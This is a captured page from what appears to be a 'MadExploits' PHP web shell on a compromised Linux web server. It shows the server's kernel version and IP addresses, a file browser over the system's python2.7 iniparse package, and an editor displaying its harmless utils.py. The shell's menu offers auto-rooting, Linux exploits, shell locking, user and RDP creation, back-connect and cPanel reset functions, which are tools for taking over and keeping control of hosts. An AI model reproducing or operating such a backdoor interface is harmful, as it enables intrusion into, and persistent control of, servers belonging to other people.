Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.135.220.219
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
iniparse /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
1.08
KB
-rw-r--r--
__init__.pyc
945
B
-rw-r--r--
__init__.pyo
945
B
-rw-r--r--
compat.py
11.82
KB
-rw-r--r--
compat.pyc
12.54
KB
-rw-r--r--
compat.pyo
12.54
KB
-rw-r--r--
config.py
8.11
KB
-rw-r--r--
config.pyc
9.37
KB
-rw-r--r--
config.pyo
9.37
KB
-rw-r--r--
ini.py
20.17
KB
-rw-r--r--
ini.pyc
19.94
KB
-rw-r--r--
ini.pyo
19.94
KB
-rw-r--r--
utils.py
1.24
KB
-rw-r--r--
utils.pyc
1.39
KB
-rw-r--r--
utils.pyo
1.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : utils.py
import compat from ini import LineContainer, EmptyLine def tidy(cfg): """Clean up blank lines. This functions makes the configuration look clean and handwritten - consecutive empty lines and empty lines at the start of the file are removed, and one is guaranteed to be at the end of the file. """ if isinstance(cfg, compat.RawConfigParser): cfg = cfg.data cont = cfg._data.contents i = 1 while i < len(cont): if isinstance(cont[i], LineContainer): tidy_section(cont[i]) i += 1 elif (isinstance(cont[i-1], EmptyLine) and isinstance(cont[i], EmptyLine)): del cont[i] else: i += 1 # Remove empty first line if cont and isinstance(cont[0], EmptyLine): del cont[0] # Ensure a last line if cont and not isinstance(cont[-1], EmptyLine): cont.append(EmptyLine()) def tidy_section(lc): cont = lc.contents i = 1 while i < len(cont): if (isinstance(cont[i-1], EmptyLine) and isinstance(cont[i], EmptyLine)): del cont[i] else: i += 1 # Remove empty first line if len(cont) > 1 and isinstance(cont[1], EmptyLine): del cont[1]
Close